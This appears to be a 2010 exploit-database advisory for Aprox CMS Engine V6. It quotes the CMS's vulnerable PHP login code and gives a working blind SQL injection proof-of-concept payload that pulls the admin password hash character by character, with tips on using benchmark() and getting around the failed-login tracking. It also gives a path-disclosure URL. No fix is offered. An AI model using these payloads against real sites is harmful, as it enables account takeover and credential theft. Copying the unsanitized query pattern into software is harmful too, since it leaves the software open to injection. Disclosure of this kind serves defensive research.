Home / os / win7

[webapps / 0day] - Aprox CMS Engine V6 Multiple Vulnerabilit

Posted on 03 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Aprox CMS Engine V6 Multiple Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Aprox CMS Engine V6 Multiple Vulnerabilities by Stephan Sattler in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================
Aprox CMS Engine V6 Multiple Vulnerabilities
============================================

# Exploit Title: Aprox CMS Engine V6 Multiple Vulnerabilities
# Date: 03.10.2010
# Author: Stephan Sattler // http://www.solidmedia.de
# Software Website: http://www.aprox.de/
# Software Link: http://www.aprox.de/index.php?page=d&amp;application=zip&amp;dateiname=AproxEngine_v6
# Version: 6
  
  
[ Vulnerability 1]
 
# Vulnerable Code:
 
sql_login.inc line 63-91
 
    if (isset($_GET[&quot;action&quot;]) &amp;&amp; ($_GET[&quot;action&quot;] != &quot;&quot;)){$action = $_GET[&quot;action&quot;];}
        unset($password);
    if (isset($_POST[&quot;password&quot;]) &amp;&amp; ($_POST[&quot;password&quot;] != &quot;&quot;)){$password = md5($_POST[&quot;password&quot;]);}
        unset($login);
    if (isset($_POST[&quot;login&quot;]) &amp;&amp; ($_POST[&quot;login&quot;] != &quot;&quot;)){$login = $_POST[&quot;login&quot;];}
 
if (($login==&quot;&quot;) or ($password==&quot;&quot;)) {echo &quot;Angegeben nicht vollständig!&quot;;die;}
 
$db = mysql_connect(serverhost, user, pass, database);
$abfrage = &quot;select * from &quot;. suffix .&quot;users where login = &#039;$login&#039;&quot;;
$res = mysql_db_query(database,  &quot;$abfrage&quot;);
 
$num = mysql_num_rows($res);
#echo $num;
if ($num &gt;0)
{
#echo &quot;user gefunden,&lt;br&gt;&quot;;
$pass = mysql_result($res, 0, &#039;password&#039;);
if ($password == $pass)
{
echo &quot;Alles OK!!!&quot;;
$name = mysql_result($res, 0, &#039;real_name&#039;);
 
$_SESSION[&quot;name&quot;] = $name;
$_SESSION[&quot;login&quot;] = $login;
$_SESSION[&quot;pass&quot;] = $pass;
 
$login_gepruefter_user = mysql_result($res, 0, &#039;gepr_mitglied&#039;);
$_SESSION[&quot;gepruefter_user&quot;] = $login_gepruefter_user;
 
 
  
 
# Explanation:
 
$_POST[&quot;login&quot;] isn&#039;t sanitized before executing the database query.
An attacker can use this for a blind SQL injection attack.
 
 
# Exploiting the Vulnerability // PoC:
 
URL: http://[site]/[path]/index.php?page=sql_login
 
Postdata(Example for the admin user which is created after install):
 
login=admin&#039; and ascii(substring((SELECT concat(password) from aprox_users limit 0,1),1,1))&gt;&#039;100&amp;password=passwort&amp;Submit=Login
 
-&gt;if login succeeds, the first character of the hash is greater than d(ascii 100).
 
An attacker can insert his/her own login credentials and test it with them or do it with benchmark() without a user-account.
Aprox stores failed logins in a Session so this won&#039;t prevent an attack.
 
 
[Vulnerability 2]
 
# Path Disclosure
 
 
For Example: http://[site]/[path]/index.php?id=1 AnD 1=1
will provoke an error so the full path will be presented to you.


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-03]</pre></body></html>

 

TOP

Malware :

Exploits :